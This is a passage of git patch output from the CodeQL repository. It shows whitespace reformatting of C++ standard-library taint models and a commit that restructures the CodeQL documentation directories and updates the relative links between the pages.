any(StdBasicString s).getAnInstMemberNamed("substr") - } + StdStringSubstr() { this = any(StdBasicString s).getAnInstMemberNamed("substr") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // substr(pos, num) @@ -306,9 +292,7 @@ private class StdStringSwap extends TaintFunction { * The `std::string` functions `at` and `operator[]`. */ private class StdStringAt extends TaintFunction { - StdStringAt() { - this = any(StdBasicString s).getAnInstMemberNamed(["at", "operator[]"]) - } + StdStringAt() { this = any(StdBasicString s).getAnInstMemberNamed(["at", "operator[]"]) } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to referenced return value @@ -337,9 +321,7 @@ private class StdBasicIStream extends TemplateClass { * The `std::istream` function `operator>>` (defined as a member function). */ private class StdIStreamIn extends DataFlowFunction, TaintFunction { - StdIStreamIn() { - this = any(StdBasicIStream s).getAnInstMemberNamed("operator>>") - } + StdIStreamIn() { this = any(StdBasicIStream s).getAnInstMemberNamed("operator>>") } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -431,9 +413,7 @@ private class StdIStreamRead extends DataFlowFunction, TaintFunction { * The `std::istream` function `readsome`. */ private class StdIStreamReadSome extends TaintFunction { - StdIStreamReadSome() { - this = any(StdBasicIStream s).getAnInstMemberNamed("readsome") - } + StdIStreamReadSome() { this = any(StdBasicIStream s).getAnInstMemberNamed("readsome") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to first parameter @@ -446,9 +426,7 @@ private class StdIStreamReadSome extends TaintFunction { * The `std::istream` function `putback`. */ private class StdIStreamPutBack extends DataFlowFunction, TaintFunction { - StdIStreamPutBack() { - this = any(StdBasicIStream s).getAnInstMemberNamed("putback") - } + StdIStreamPutBack() { this = any(StdBasicIStream s).getAnInstMemberNamed("putback") } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -481,9 +459,7 @@ private class StdIStreamPutBack extends DataFlowFunction, TaintFunction { * The `std::istream` function `getline`. */ private class StdIStreamGetLine extends DataFlowFunction, TaintFunction { - StdIStreamGetLine() { - this = any(StdBasicIStream s).getAnInstMemberNamed("getline") - } + StdIStreamGetLine() { this = any(StdBasicIStream s).getAnInstMemberNamed("getline") } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -609,7 +585,9 @@ private class StdOStreamOutNonMember extends DataFlowFunction, TaintFunction { * input parameter. */ private class StdStringStreamConstructor extends Constructor, TaintFunction { - StdStringStreamConstructor() { this = any(StdBasicStringStream s).getAnInstantiation().getAMember() } + StdStringStreamConstructor() { + this = any(StdBasicStringStream s).getAnInstantiation().getAMember() + } /** * Gets the index of a parameter to this function that is a string. @@ -633,9 +611,7 @@ private class StdStringStreamConstructor extends Constructor, TaintFunction { * The `std::stringstream` function `str`. */ private class StdStringStreamStr extends TaintFunction { - StdStringStreamStr() { - this = any(StdBasicStringStream s).getAnInstMemberNamed("str") - } + StdStringStreamStr() { this = any(StdBasicStringStream s).getAnInstMemberNamed("str") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to return value (if any) From 5002968e867d25370ce582ff05de2890f827e010 Mon Sep 17 00:00:00 2001 From: james Date: Tue, 1 Dec 2020 12:00:37 +0000 Subject: [PATCH 0116/1241] restructure codeql docs --- .../{codeql-cli-reference => }/about-ql-packs.rst | 10 +++++----- .../about-the-codeql-cli.rst | 0 .../analyzing-databases-with-the-codeql-cli.rst | 8 ++++---- .../index.rst => codeql-cli-reference.rst} | 0 .../creating-codeql-databases.rst | 6 +++--- .../creating-codeql-query-suites.rst | 4 ++-- .../{codeql-cli-reference => }/exit-codes.rst | 0 .../getting-started-with-the-codeql-cli.rst | 4 ++-- docs/codeql/codeql-cli/index.rst | 6 +++--- .../query-reference-files.rst | 2 +- .../{codeql-cli-reference => }/sarif-output.rst | 0 ...and-options-in-a-codeql-configuration-file.rst | 0 .../testing-custom-queries.rst | 10 +++++----- .../testing-query-help-files.rst | 0 .../upgrading-codeql-databases.rst | 0 .../using-custom-queries-with-the-codeql-cli.rst | 2 +- .../index.rst => using-the-codeql-cli.rst} | 2 +- ...-tree-classes-for-working-with-go-programs.rst | 6 +++--- ...ree-classes-for-working-with-java-programs.rst | 6 +++--- ...ng-with-javascript-and-typescript-programs.rst | 6 +++--- .../analyzing-control-flow-in-python.rst | 6 +++--- ...a-flow-and-tracking-tainted-data-in-python.rst | 6 +++--- .../analyzing-data-flow-in-cpp.rst | 6 +++--- .../analyzing-data-flow-in-csharp.rst | 6 +++--- .../analyzing-data-flow-in-java.rst | 6 +++--- .../analyzing-data-flow-in-javascript.rst | 6 +++--- .../{codeql-for-java => }/annotations-in-java.rst | 4 ++-- .../basic-query-for-cpp-code.rst | 6 +++--- .../basic-query-for-csharp-code.rst | 6 +++--- .../basic-query-for-go-code.rst | 6 +++--- .../basic-query-for-java-code.rst | 6 +++--- .../basic-query-for-javascript-code.rst | 6 +++--- .../basic-query-for-python-code.rst | 6 +++--- .../index.rst => codeql-for-cpp.rst} | 0 .../index.rst => codeql-for-csharp.rst} | 0 .../index.rst => codeql-for-go.rst} | 0 .../index.rst => codeql-for-java.rst} | 0 .../index.rst => codeql-for-javascript.rst} | 0 .../index.rst => codeql-for-python.rst} | 0 .../codeql-library-for-cpp.rst | 4 ++-- .../codeql-library-for-csharp.rst | 4 ++-- .../{codeql-for-go => }/codeql-library-for-go.rst | 14 +++++++------- .../codeql-library-for-java.rst | 4 ++-- .../codeql-library-for-javascript.rst | 4 ++-- .../codeql-library-for-python.rst | 4 ++-- .../codeql-library-for-typescript.rst | 4 ++-- .../conversions-and-classes-in-cpp.rst | 4 ++-- .../data-flow-cheat-sheet-for-javascript.rst | 4 ++-- .../detecting-a-potential-buffer-overflow.rst | 4 ++-- .../expressions-and-statements-in-python.rst | 4 ++-- .../expressions-types-and-statements-in-cpp.rst | 4 ++-- .../{codeql-for-cpp => }/functions-in-cpp.rst | 4 ++-- .../functions-in-python.rst | 4 ++-- .../hash-consing-and-value-numbering.rst | 4 ++-- docs/codeql/codeql-language-guides/index.rst | 12 ++++++------ .../{codeql-for-java => }/javadoc.rst | 4 ++-- .../modeling-data-flow-in-go-libraries.rst | 0 .../navigating-the-call-graph.rst | 4 ++-- .../overflow-prone-comparisons-in-java.rst | 4 ++-- ...nter-analysis-and-type-inference-in-python.rst | 4 ++-- ...refining-a-query-to-account-for-edge-cases.rst | 4 ++-- .../{codeql-for-java => }/types-in-java.rst | 4 ++-- ...flow-labels-for-precise-data-flow-analysis.rst | 4 ++-- .../using-range-analsis-in-cpp.rst | 4 ++-- .../using-the-guards-library-in-cpp.rst | 4 ++-- .../using-type-tracking-for-api-modeling.rst | 4 ++-- .../working-with-source-locations.rst | 4 ++-- .../codeql-for-go/ast.dot | 0 .../codeql-for-go/ast.png | Bin .../codeql-for-go/cfg.dot | 0 .../codeql-for-go/cfg.png | Bin .../codeql-for-go/cfg2.dot | 0 .../codeql-for-go/cfg2.png | Bin .../codeql-for-go/dfg.dot | 0 .../codeql-for-go/dfg.png | Bin .../codeql-for-go/ssa.dot | 0 .../codeql-for-go/ssa.png | Bin .../{codeql-queries => }/about-codeql-queries.rst | 0 .../about-data-flow-analysis.rst | 0 .../{ql-tutorials => }/catch-the-fire-starter.rst | 2 +- .../index.rst => codeql-queries.rst} | 0 .../creating-path-queries.rst | 0 .../{ql-tutorials => }/cross-the-river.rst | 2 +- .../crown-the-rightful-heir.rst | 2 +- .../defining-the-results-of-a-query.rst | 6 +++--- .../{ql-tutorials => }/find-the-thief.rst | 2 +- docs/codeql/writing-codeql-queries/index.rst | 4 ++-- .../{ql-tutorials => }/introduction-to-ql.rst | 0 .../metadata-for-codeql-queries.rst | 2 +- .../providing-locations-in-codeql-queries.rst | 0 .../{ql-tutorials/index.rst => ql-tutorials.rst} | 0 .../{codeql-queries => }/query-help-files.rst | 0 .../{ql-tutorials => }/river-crossing-1.ql | 0 .../{ql-tutorials => }/river-crossing.ql | 0 .../troubleshooting-query-performance.rst | 2 +- 95 files changed, 148 insertions(+), 148 deletions(-) rename docs/codeql/codeql-cli/{codeql-cli-reference => }/about-ql-packs.rst (96%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/about-the-codeql-cli.rst (100%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/analyzing-databases-with-the-codeql-cli.rst (96%) rename docs/codeql/codeql-cli/{codeql-cli-reference/index.rst => codeql-cli-reference.rst} (100%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/creating-codeql-databases.rst (98%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/creating-codeql-query-suites.rst (98%) rename docs/codeql/codeql-cli/{codeql-cli-reference => }/exit-codes.rst (100%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/getting-started-with-the-codeql-cli.rst (98%) rename docs/codeql/codeql-cli/{codeql-cli-reference => }/query-reference-files.rst (95%) rename docs/codeql/codeql-cli/{codeql-cli-reference => }/sarif-output.rst (100%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/specifying-command-options-in-a-codeql-configuration-file.rst (100%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/testing-custom-queries.rst (96%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/testing-query-help-files.rst (100%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/upgrading-codeql-databases.rst (100%) rename docs/codeql/codeql-cli/{using-the-codeql-cli => }/using-custom-queries-with-the-codeql-cli.rst (98%) rename docs/codeql/codeql-cli/{using-the-codeql-cli/index.rst => using-the-codeql-cli.rst} (97%) rename docs/codeql/codeql-language-guides/{codeql-for-go => }/abstract-syntax-tree-classes-for-working-with-go-programs.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/abstract-syntax-tree-classes-for-working-with-java-programs.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript => }/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-python => }/analyzing-control-flow-in-python.rst (96%) rename docs/codeql/codeql-language-guides/{codeql-for-python => }/analyzing-data-flow-and-tracking-tainted-data-in-python.rst (94%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/analyzing-data-flow-in-cpp.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-csharp => }/analyzing-data-flow-in-csharp.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/analyzing-data-flow-in-java.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript => }/analyzing-data-flow-in-javascript.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/annotations-in-java.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/basic-query-for-cpp-code.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-csharp => }/basic-query-for-csharp-code.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-go => }/basic-query-for-go-code.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/basic-query-for-java-code.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript => }/basic-query-for-javascript-code.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-python => }/basic-query-for-python-code.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp/index.rst => codeql-for-cpp.rst} (100%) rename docs/codeql/codeql-language-guides/{codeql-for-csharp/index.rst => codeql-for-csharp.rst} (100%) rename docs/codeql/codeql-language-guides/{codeql-for-go/index.rst => codeql-for-go.rst} (100%) rename docs/codeql/codeql-language-guides/{codeql-for-java/index.rst => codeql-for-java.rst} (100%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript/index.rst => codeql-for-javascript.rst} (100%) rename docs/codeql/codeql-language-guides/{codeql-for-python/index.rst => codeql-for-python.rst} (100%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/codeql-library-for-cpp.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-csharp => }/codeql-library-for-csharp.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-go => }/codeql-library-for-go.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/codeql-library-for-java.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript => }/codeql-library-for-javascript.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-python => }/codeql-library-for-python.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript => }/codeql-library-for-typescript.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/conversions-and-classes-in-cpp.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript => }/data-flow-cheat-sheet-for-javascript.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/detecting-a-potential-buffer-overflow.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-python => }/expressions-and-statements-in-python.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/expressions-types-and-statements-in-cpp.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/functions-in-cpp.rst (97%) rename docs/codeql/codeql-language-guides/{codeql-for-python => }/functions-in-python.rst (96%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/hash-consing-and-value-numbering.rst (97%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/javadoc.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-go => }/modeling-data-flow-in-go-libraries.rst (100%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/navigating-the-call-graph.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/overflow-prone-comparisons-in-java.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-python => }/pointer-analysis-and-type-inference-in-python.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/refining-a-query-to-account-for-edge-cases.rst (98%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/types-in-java.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript => }/using-flow-labels-for-precise-data-flow-analysis.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/using-range-analsis-in-cpp.rst (94%) rename docs/codeql/codeql-language-guides/{codeql-for-cpp => }/using-the-guards-library-in-cpp.rst (97%) rename docs/codeql/codeql-language-guides/{codeql-for-javascript => }/using-type-tracking-for-api-modeling.rst (99%) rename docs/codeql/codeql-language-guides/{codeql-for-java => }/working-with-source-locations.rst (98%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/ast.dot (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/ast.png (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/cfg.dot (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/cfg.png (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/cfg2.dot (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/cfg2.png (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/dfg.dot (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/dfg.png (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/ssa.dot (100%) rename docs/codeql/{codeql-language-guides => images}/codeql-for-go/ssa.png (100%) rename docs/codeql/writing-codeql-queries/{codeql-queries => }/about-codeql-queries.rst (100%) rename docs/codeql/writing-codeql-queries/{codeql-queries => }/about-data-flow-analysis.rst (100%) rename docs/codeql/writing-codeql-queries/{ql-tutorials => }/catch-the-fire-starter.rst (99%) rename docs/codeql/writing-codeql-queries/{codeql-queries/index.rst => codeql-queries.rst} (100%) rename docs/codeql/writing-codeql-queries/{codeql-queries => }/creating-path-queries.rst (100%) rename docs/codeql/writing-codeql-queries/{ql-tutorials => }/cross-the-river.rst (99%) rename docs/codeql/writing-codeql-queries/{ql-tutorials => }/crown-the-rightful-heir.rst (99%) rename docs/codeql/writing-codeql-queries/{codeql-queries => }/defining-the-results-of-a-query.rst (97%) rename docs/codeql/writing-codeql-queries/{ql-tutorials => }/find-the-thief.rst (99%) rename docs/codeql/writing-codeql-queries/{ql-tutorials => }/introduction-to-ql.rst (100%) rename docs/codeql/writing-codeql-queries/{codeql-queries => }/metadata-for-codeql-queries.rst (99%) rename docs/codeql/writing-codeql-queries/{codeql-queries => }/providing-locations-in-codeql-queries.rst (100%) rename docs/codeql/writing-codeql-queries/{ql-tutorials/index.rst => ql-tutorials.rst} (100%) rename docs/codeql/writing-codeql-queries/{codeql-queries => }/query-help-files.rst (100%) rename docs/codeql/writing-codeql-queries/{ql-tutorials => }/river-crossing-1.ql (100%) rename docs/codeql/writing-codeql-queries/{ql-tutorials => }/river-crossing.ql (100%) rename docs/codeql/writing-codeql-queries/{codeql-queries => }/troubleshooting-query-performance.rst (99%) diff --git a/docs/codeql/codeql-cli/codeql-cli-reference/about-ql-packs.rst b/docs/codeql/codeql-cli/about-ql-packs.rst similarity index 96% rename from docs/codeql/codeql-cli/codeql-cli-reference/about-ql-packs.rst rename to docs/codeql/codeql-cli/about-ql-packs.rst index 39769f1f79c..ed9c9319bdf 100644 --- a/docs/codeql/codeql-cli/codeql-cli-reference/about-ql-packs.rst +++ b/docs/codeql/codeql-cli/about-ql-packs.rst @@ -85,11 +85,11 @@ The following properties are supported in ``qlpack.yml`` files. * - ``suites`` - ``suites`` - Optional - - The path to a directory that contains the "well-known" query suites in the pack, defined relative to the pack directory. You can run "well-known" suites stored in this directory by specifying the pack name, without providing their full path. To use query suites stored in other directories in the pack, you must provide their full path. For more information about query suites, see ":doc:`Creating CodeQL query suites <../using-the-codeql-cli/creating-codeql-query-suites>`." + - The path to a directory that contains the "well-known" query suites in the pack, defined relative to the pack directory. You can run "well-known" suites stored in this directory by specifying the pack name, without providing their full path. To use query suites stored in other directories in the pack, you must provide their full path. For more information about query suites, see ":doc:`Creating CodeQL query suites `." * - ``extractor`` - ``javascript`` - All test packs - - The CodeQL language extractor to use when the CLI creates a database from test files in the pack. For more information about testing queries, see ":doc:`Testing custom queries <../using-the-codeql-cli/testing-custom-queries>`." + - The CodeQL language extractor to use when the CLI creates a database from test files in the pack. For more information about testing queries, see ":doc:`Testing custom queries `." * - ``tests`` - ``.`` - Optional for test packs @@ -124,7 +124,7 @@ and ``libraryPathDependencies`` properties. If the pack contains query suites, y use the ``suites`` property to define their location. Query suites defined here are called "well-known" suites, and can be used on the command line by referring to their name only, rather than their full path. -For more information about query suites, see ":doc:`Creating CodeQL query suites <../using-the-codeql-cli/creating-codeql-query-suites>`." +For more information about query suites, see ":doc:`Creating CodeQL query suites `." For example, a ``qlpack.yml`` file for a QL pack featuring custom C++ queries and libraries may contain: @@ -154,10 +154,10 @@ For custom QL packs containing test files, you also need to include an ``extractor`` property so that the ``test run`` command knows how to create test databases. You may also wish to specify the ``tests`` property. -.. include:: ../../reusables/test-qlpack.rst +.. include:: ../reusables/test-qlpack.rst For more information about running tests, see ":doc:`Testing custom queries -<../using-the-codeql-cli/testing-custom-queries>`." +`." .. _standard-ql-packs: diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/about-the-codeql-cli.rst b/docs/codeql/codeql-cli/about-the-codeql-cli.rst similarity index 100% rename from docs/codeql/codeql-cli/using-the-codeql-cli/about-the-codeql-cli.rst rename to docs/codeql/codeql-cli/about-the-codeql-cli.rst diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/analyzing-databases-with-the-codeql-cli.rst b/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst similarity index 96% rename from docs/codeql/codeql-cli/using-the-codeql-cli/analyzing-databases-with-the-codeql-cli.rst rename to docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst index daf92ceb4bb..956a6e31b4b 100644 --- a/docs/codeql/codeql-cli/using-the-codeql-cli/analyzing-databases-with-the-codeql-cli.rst +++ b/docs/codeql/codeql-cli/analyzing-databases-with-the-codeql-cli.rst @@ -11,7 +11,7 @@ CodeQL analyses produce :ref:`interpreted results For information about writing queries to run with ``database analyze``, see ":doc:`Using custom queries with the CodeQL CLI `." -.. include:: ../../reusables/advanced-query-execution.rst +.. include:: ../reusables/advanced-query-execution.rst Before starting an analysis you must: @@ -55,7 +55,7 @@ You must specify: You can also specify: -- .. include:: ../../reusables/threads-query-execution.rst +- .. include:: ../reusables/threads-query-execution.rst .. pull-quote:: @@ -149,7 +149,7 @@ recursively, so any queries contained in subfolders will also be executed. Important You shouldn't specify the root of a :doc:`QL pack - <../codeql-cli-reference/about-ql-packs>` when executing ``database analyze`` + ` when executing ``database analyze`` as it contains some special queries that aren't designed to be used with the command. Rather, to run a wide range of useful queries, run one of the LGTM.com query suites. @@ -171,7 +171,7 @@ You can save analysis results in a number of different formats, including SARIF and CSV. The SARIF format is designed to represent the output of a broad range of static -analysis tools. For more information, see :doc:`SARIF output <../codeql-cli-reference/sarif-output>`. +analysis tools. For more information, see :doc:`SARIF output `. If you choose to generate results in CSV format, then each line in the output file corresponds to an alert. Each line is a comma-separated list with the following information: diff --git a/docs/codeql/codeql-cli/codeql-cli-reference/index.rst b/docs/codeql/codeql-cli/codeql-cli-reference.rst similarity index 100% rename from docs/codeql/codeql-cli/codeql-cli-reference/index.rst rename to docs/codeql/codeql-cli/codeql-cli-reference.rst diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/creating-codeql-databases.rst b/docs/codeql/codeql-cli/creating-codeql-databases.rst similarity index 98% rename from docs/codeql/codeql-cli/using-the-codeql-cli/creating-codeql-databases.rst rename to docs/codeql/codeql-cli/creating-codeql-databases.rst index e7248e5725f..5dc12ed03b9 100644 --- a/docs/codeql/codeql-cli/using-the-codeql-cli/creating-codeql-databases.rst +++ b/docs/codeql/codeql-cli/creating-codeql-databases.rst @@ -35,7 +35,7 @@ You must specify: - ``--language``: the identifier for the language to create a database for. CodeQL supports creating databases for the following languages: - .. include:: ../../reusables/extractors.rst + .. include:: ../reusables/extractors.rst Other options may be specified depending on the location of your source file and the language you want to analyze: @@ -75,7 +75,7 @@ CodeQL. For each project on LGTM.com, you can download an archived CodeQL database corresponding to the most recently analyzed revision of the code. These databases can also be analyzed using the CodeQL CLI. -.. include:: ../../reusables/download-lgtm-database.rst +.. include:: ../reusables/download-lgtm-database.rst Before running an analysis, unzip the databases and try :doc:`upgrading ` the unzipped databases to ensure they are compatible with your local copy of the @@ -85,7 +85,7 @@ CodeQL queries and libraries. Note - .. include:: ../../reusables/index-files-note.rst + .. include:: ../reusables/index-files-note.rst Creating databases for non-compiled languages --------------------------------------------- diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/creating-codeql-query-suites.rst b/docs/codeql/codeql-cli/creating-codeql-query-suites.rst similarity index 98% rename from docs/codeql/codeql-cli/using-the-codeql-cli/creating-codeql-query-suites.rst rename to docs/codeql/codeql-cli/creating-codeql-query-suites.rst index 75c7113b4a9..9c8f42683ea 100644 --- a/docs/codeql/codeql-cli/using-the-codeql-cli/creating-codeql-query-suites.rst +++ b/docs/codeql/codeql-cli/creating-codeql-query-suites.rst @@ -19,7 +19,7 @@ suite definition have been executed, the result is a set of selected queries. .. note:: Any custom queries that you want to add to a query suite must be in a :doc:`QL - pack <../codeql-cli-reference/about-ql-packs>` and contain the correct query metadata. + pack ` and contain the correct query metadata. For more information, see ":doc:`Using custom queries with the CodeQL CLI `." @@ -254,7 +254,7 @@ without providing their full path. This gives you a simple way of specifying a set of queries, without needing to search inside QL packs and distributions. To declare a directory that contains "well-known" query suites, add the directory to the ``suites`` property in the ``qlpack.yml`` file at the root of your QL pack. -For more information, see "`About QL packs <../codeql-cli-reference/qlpack-overview.html#qlpack-yml-properties>`__." +For more information, see "`About QL packs `__." Using query suites with CodeQL ------------------------------ diff --git a/docs/codeql/codeql-cli/codeql-cli-reference/exit-codes.rst b/docs/codeql/codeql-cli/exit-codes.rst similarity index 100% rename from docs/codeql/codeql-cli/codeql-cli-reference/exit-codes.rst rename to docs/codeql/codeql-cli/exit-codes.rst diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/getting-started-with-the-codeql-cli.rst b/docs/codeql/codeql-cli/getting-started-with-the-codeql-cli.rst similarity index 98% rename from docs/codeql/codeql-cli/using-the-codeql-cli/getting-started-with-the-codeql-cli.rst rename to docs/codeql/codeql-cli/getting-started-with-the-codeql-cli.rst index 1cd0ce63eee..c0f5282e4f8 100644 --- a/docs/codeql/codeql-cli/using-the-codeql-cli/getting-started-with-the-codeql-cli.rst +++ b/docs/codeql/codeql-cli/getting-started-with-the-codeql-cli.rst @@ -6,7 +6,7 @@ Getting started with the CodeQL CLI To run CodeQL commands, you need to set up the CLI so that it can access the tools, queries, and libraries required to create and analyze databases. -.. include:: ../../reusables/license-note.rst +.. include:: ../reusables/license-note.rst .. _setting-up-cli: @@ -115,7 +115,7 @@ repository should be ``$HOME/codeql-home/codeql-go``. Within these repositories, the queries and libraries are organized into QL packs. Along with the queries themselves, QL packs contain important metadata that tells the CodeQL CLI how to process the query files. For more information, -see ":doc:`About QL packs <../codeql-cli-reference/about-ql-packs>`." +see ":doc:`About QL packs `." .. pull-quote:: Important diff --git a/docs/codeql/codeql-cli/index.rst b/docs/codeql/codeql-cli/index.rst index a27b1aa70c3..233253673af 100644 --- a/docs/codeql/codeql-cli/index.rst +++ b/docs/codeql/codeql-cli/index.rst @@ -10,12 +10,12 @@ CodeQL CLI - :ref:`CodeQL CLI reference `: Learn more about the files you can use when running CodeQL processes and the results format and exit codes that CodeQL generates. -- `CodeQL CLI manual `__: Detailed information about all the commands available with the CodeQL CLI. +- `CodeQL CLI manual <../codeql-cli-manual>`__: Detailed information about all the commands available with the CodeQL CLI. .. toctree:: :titlesonly: :hidden: - using-the-codeql-cli/index - codeql-cli-reference/index + using-the-codeql-cli + codeql-cli-reference diff --git a/docs/codeql/codeql-cli/codeql-cli-reference/query-reference-files.rst b/docs/codeql/codeql-cli/query-reference-files.rst similarity index 95% rename from docs/codeql/codeql-cli/codeql-cli-reference/query-reference-files.rst rename to docs/codeql/codeql-cli/query-reference-files.rst index e4bea0df72f..5c629723548 100644 --- a/docs/codeql/codeql-cli/codeql-cli-reference/query-reference-files.rst +++ b/docs/codeql/codeql-cli/query-reference-files.rst @@ -44,4 +44,4 @@ to the ``codeql-javascript`` QL pack:: AngularJS/DeadAngularJSEventListener.ql -For another example, see `Testing custom queries <../using-the-codeql-cli/test-queries.html#example>`__. +For another example, see `Testing custom queries `__. diff --git a/docs/codeql/codeql-cli/codeql-cli-reference/sarif-output.rst b/docs/codeql/codeql-cli/sarif-output.rst similarity index 100% rename from docs/codeql/codeql-cli/codeql-cli-reference/sarif-output.rst rename to docs/codeql/codeql-cli/sarif-output.rst diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/specifying-command-options-in-a-codeql-configuration-file.rst b/docs/codeql/codeql-cli/specifying-command-options-in-a-codeql-configuration-file.rst similarity index 100% rename from docs/codeql/codeql-cli/using-the-codeql-cli/specifying-command-options-in-a-codeql-configuration-file.rst rename to docs/codeql/codeql-cli/specifying-command-options-in-a-codeql-configuration-file.rst diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/testing-custom-queries.rst b/docs/codeql/codeql-cli/testing-custom-queries.rst similarity index 96% rename from docs/codeql/codeql-cli/using-the-codeql-cli/testing-custom-queries.rst rename to docs/codeql/codeql-cli/testing-custom-queries.rst index 5746158e1de..9007e96677b 100644 --- a/docs/codeql/codeql-cli/using-the-codeql-cli/testing-custom-queries.rst +++ b/docs/codeql/codeql-cli/testing-custom-queries.rst @@ -44,7 +44,7 @@ file that defines: The ``libraryPathDependencies`` value specifies the CodeQL queries to test. The ``extractor`` defines which language the CLI will use to create test databases from the code files stored in this QL pack. -For more information, see ":doc:`About QL packs <../codeql-cli-reference/about-ql-packs>`." +For more information, see ":doc:`About QL packs `." You may find it useful to look at the way query tests are organized in the `CodeQL repository `__. @@ -70,7 +70,7 @@ Then add the following files to the subdirectory before you run the test command The location is defined relative to the root of the QL pack that contains the query. Usually, this is a QL pack specified by the ``libraryPathDependencies`` for the test pack. - For more information, see ":doc:`Query reference files <../codeql-cli-reference/query-reference-files>`." + For more information, see ":doc:`Query reference files `." You don't need to add a query reference file if the query you want to test is stored in the test directory, @@ -127,7 +127,7 @@ The ```` argument can be one or more of the following: You can also specify: -- .. include:: ../../reusables/threads-query-execution.rst +- .. include:: ../reusables/threads-query-execution.rst For full details of all the options you can use when testing queries, see the `test run reference documentation <../codeql-cli-manual/test-run.html>`__. @@ -172,13 +172,13 @@ Prepare a query and test files libraryPathDependencies: codeql-java For more information about QL packs, see ":doc:`About QL packs - <../codeql-cli-reference/about-ql-packs>`." + `." #. Create a QL pack for your Java tests by adding a ``qlpack.yml`` file with the following contents to ``custom-queries/java/tests``, updating ``libraryPathDependencies`` to match the name of your QL pack of custom queries: - .. include:: ../../reusables/test-qlpack.rst + .. include:: ../reusables/test-qlpack.rst #. Within the Java test pack, create a directory to contain the test files associated with ``EmptyThen.ql``. diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/testing-query-help-files.rst b/docs/codeql/codeql-cli/testing-query-help-files.rst similarity index 100% rename from docs/codeql/codeql-cli/using-the-codeql-cli/testing-query-help-files.rst rename to docs/codeql/codeql-cli/testing-query-help-files.rst diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/upgrading-codeql-databases.rst b/docs/codeql/codeql-cli/upgrading-codeql-databases.rst similarity index 100% rename from docs/codeql/codeql-cli/using-the-codeql-cli/upgrading-codeql-databases.rst rename to docs/codeql/codeql-cli/upgrading-codeql-databases.rst diff --git a/docs/codeql/codeql-cli/using-the-codeql-cli/using-custom-queries-with-the-codeql-cli.rst 